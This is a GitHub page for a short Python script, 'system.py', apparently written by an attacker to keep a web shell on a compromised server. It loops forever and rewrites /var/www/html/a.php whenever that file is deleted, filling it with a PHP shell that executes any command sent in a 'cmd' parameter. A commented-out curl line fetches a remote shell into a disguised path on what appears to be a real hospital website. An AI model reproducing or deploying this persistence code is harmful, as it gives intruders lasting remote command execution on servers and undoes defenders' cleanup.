-
Notifications
You must be signed in to change notification settings - Fork 0
/
system.py
27 lines (24 loc) · 1.12 KB
/
system.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# auto create shell when shell get delete
# coded by root@x-krypt0n-x
# thanks to warwer jeager cracken
import os
import time
import os.path
def main():
while True:
f = os.path.exists('/var/www/html/a.php') # example # the path where you want to put the web shell
if f == True:
print("[*] file exists")
pass
time.sleep(5)
else:
print("[!] file not found")
print("[!] creating file")
# creating web shell
a = open('/var/www/html/a.php','a') # example # the path where you want to put the web shell
a.write('<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>') # u shell, example http://127.0.0.1/shell.php?cmd=ls -la (command)
a.close()
# u can also use curl too, but here I assume curl is not on the web server
#os.system('curl "https://raw.githubusercontent.com/SystemOfPekalongan/SOP-shell/main/SOPV1.php" > /var/www/html/rsudbendan/script/html2pdf/locale/403.php')
time.sleep(5)
main()